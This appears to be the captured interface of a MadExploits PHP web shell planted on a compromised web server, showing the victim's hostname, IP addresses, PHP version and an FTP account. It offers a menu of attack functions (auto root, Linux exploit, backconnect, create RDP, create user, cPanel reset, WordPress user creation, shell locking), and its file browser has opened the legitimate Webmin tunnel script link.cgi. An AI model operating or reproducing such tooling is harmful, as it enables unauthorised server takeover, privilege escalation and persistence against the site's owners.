Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.28
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
usermin /
tunnel /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
ulang
[ DIR ]
drwxr-xr-x
config
12
B
-rw-r--r--
config.info
179
B
-rw-r--r--
config.info.ca
190
B
-rwxr-xr-x
config.info.nl
211
B
-rw-r--r--
index.cgi
200
B
-rwxr-xr-x
link.cgi
4.63
KB
-rwxr-xr-x
login.cgi
345
B
-rwxr-xr-x
module.info
148
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
122
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
124
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
175
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
160
B
-rw-r--r--
module.info.ca
20
B
-rw-r--r--
module.info.ca.auto
121
B
-rw-r--r--
module.info.cs
0
B
-rw-r--r--
module.info.cs.auto
119
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
129
B
-rw-r--r--
module.info.de
130
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
199
B
-rw-r--r--
module.info.es
0
B
-rw-r--r--
module.info.es.auto
134
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
127
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
134
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
126
B
-rw-r--r--
module.info.fr
20
B
-rw-r--r--
module.info.fr.auto
105
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
128
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
118
B
-rw-r--r--
module.info.hu
30
B
-rw-r--r--
module.info.hu.auto
129
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
130
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
160
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
131
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
122
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
135
B
-rw-r--r--
module.info.ms
0
B
-rw-r--r--
module.info.ms.auto
122
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
118
B
-rw-r--r--
module.info.nl
20
B
-rw-r--r--
module.info.no
0
B
-rw-r--r--
module.info.no.auto
118
B
-rw-r--r--
module.info.pl
0
B
-rw-r--r--
module.info.pl.auto
128
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
132
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
141
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
135
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
191
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
115
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
123
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
117
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
245
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
137
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
179
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
172
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
169
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
115
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
124
B
-rw-r--r--
tunnel-lib.pl
183
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : link.cgi
#!/usr/bin/perl # link.cgi # Forward the URL from path_info on to another webmin server require './tunnel-lib.pl'; $ENV{'PATH_INFO'} =~ /^\/(.*)$/ || &error("Bad PATH_INFO : $ENV{'PATH_INFO'}"); $path = $1; #$path = $1 ? &urlize("$1") : '/'; #$path =~ s/^%2F/\//; if ($ENV{'QUERY_STRING'}) { $path .= '?'.$ENV{'QUERY_STRING'}; } elsif (@ARGV) { $path .= '?'.join('+', @ARGV); } $url = "/$module_name/link.cgi"; $| = 1; $meth = $ENV{'REQUEST_METHOD'}; if ($config{'loginmode'} == 2) { # Login is variable .. check if we have it yet if ($ENV{'HTTP_COOKIE'} =~ /tunnel=([^\s;]+)/) { # Yes - set the login and password to use ($user, $pass) = split(/:/, &decode_base64("$1")); } else { # No - need to display a login form &ui_print_header(undef, $text{'login_title'}, ""); print "<center>",&text('login_desc', "<tt>$config{'url'}</tt>"), "</center><p>\n"; print "<form action=/$module_name/login.cgi method=post>\n"; print "<input type=hidden name=path value='", &html_escape($path),"'>\n"; print "<center><table border>\n"; print "<tr $tb> <td><b>$text{'login_header'}</b></td> </tr>\n"; print "<tr $cb> <td><table cellpadding=2>\n"; print "<tr> <td><b>$text{'login_user'}</b></td>\n"; print "<td><input name=user size=20></td> </tr>\n"; print "<tr> <td><b>$text{'login_pass'}</b></td>\n"; print "<td><input name=pass size=20 type=password></td>\n"; print "</tr> </table></td></tr></table>\n"; print "<input type=submit value='$text{'login_login'}'>\n"; print "<input type=reset value='$text{'login_clear'}'>\n"; print "</center></form>\n"; &ui_print_footer("", $text{'index_return'}); exit; } } elsif ($config{'loginmode'} == 1) { # Login is fixed $user = $config{'user'}; $pass = $config{'pass'}; } # Connect to the server ($host, $port, $page, $ssl) = &parse_http_url($config{'url'}); $page .= "/" if ($page !~ /\/$/); $host || &error(&text('link_eurl', $config{'url'})); $path = $path eq "/" ? $page : $page.$path; #&error("$host $port $ssl $meth $path"); $con = &make_http_connection($host, $port, $ssl, $meth, $path); &error($con) if (!ref($con)); # Send request headers &write_http_connection($con, "Host: $host\r\n"); &write_http_connection($con, "User-agent: Webmin\r\n"); if ($user) { $auth = &encode_base64("$user:$pass"); $auth =~ s/\n//g; &write_http_connection($con, "Authorization: basic $auth\r\n"); } &write_http_connection($con, sprintf( "Webmin-servers: %s://%s:%d/$module_name/\n", $ENV{'HTTPS'} eq "ON" ? "https" : "http", $ENV{'SERVER_NAME'}, $ENV{'SERVER_PORT'})); $cl = $ENV{'CONTENT_LENGTH'}; &write_http_connection($con, "Content-length: $cl\r\n") if ($cl); &write_http_connection($con, "Content-type: $ENV{'CONTENT_TYPE'}\r\n") if ($ENV{'CONTENT_TYPE'}); &write_http_connection($con, "\r\n"); if ($cl) { read(STDIN, $post, $cl); &write_http_connection($con, $post); } # read back the headers $dummy = &read_http_connection($con); while(1) { ($headline = &read_http_connection($con)) =~ s/\r|\n//g; last if (!$headline); $headline =~ /^(\S+):\s+(.*)$/ || &error("Bad header"); $header{lc($1)} = $2; $headers .= $headline."\n"; } $defport = $ssl ? 443 : 80; if ($header{'location'} =~ /^(http|https):\/\/$host:$port$page(.*)$/ || $header{'location'} =~ /^(http|https):\/\/$host$page(.*)/ && $port == $defport) { # fix a redirect &redirect("$url/$2"); exit; } elsif ($header{'www-authenticate'}) { # Invalid login if ($config{'loginmode'} == 2) { print "Set-Cookie: tunnel=; path=/\n"; &error(&text('link_eautologin', "<tt>$config{'url'}</tt>", "/$module_name/link.cgi/$path")); } elsif ($user) { &error(&text('link_elogin', $host, $user)); } else { &error(&text('link_enouser', $host)); } } else { # just output the headers print $headers,"\n"; } # read back the rest of the page if ($header{'content-type'} =~ /text\/html/ && !$header{'x-no-links'}) { while($_ = &read_http_connection($con)) { s/src='$page([^']*)'/src='$url\/$1'/gi; s/src="$page([^"]*)"/src="$url\/$1"/gi; s/src=$page([^ "'>]*)/src=$url\/$1/gi; s/href='$page([^']*)'/href='$url\/$1'/gi; s/href="$page([^"]*)"/href="$url\/$1"/gi; s/href=$page([^ >"']*)/href=$url\/$1/gi; s/action='$page([^']*)'/action='$url\/$1'/gi; s/action="$page([^"]*)"/action="$url\/$1"/gi; s/action=$page([^ "'>]*)/action=$url\/$1/gi; s/\.location\s*=\s*'$page([^']*)'/.location='$url\/$1'/gi; s/\.location\s*=\s*"$page([^']*)"/.location="$url\/$1"/gi; s/window.open\("$page([^"]*)"/window.open\("$url\/$1"/gi; s/name=return\s+value="$page([^"]*)"/name=return value="$url\/$1"/gi; print; } } else { while($buf = &read_http_connection($con, 1024)) { print $buf; } } &close_http_connection($con);
Close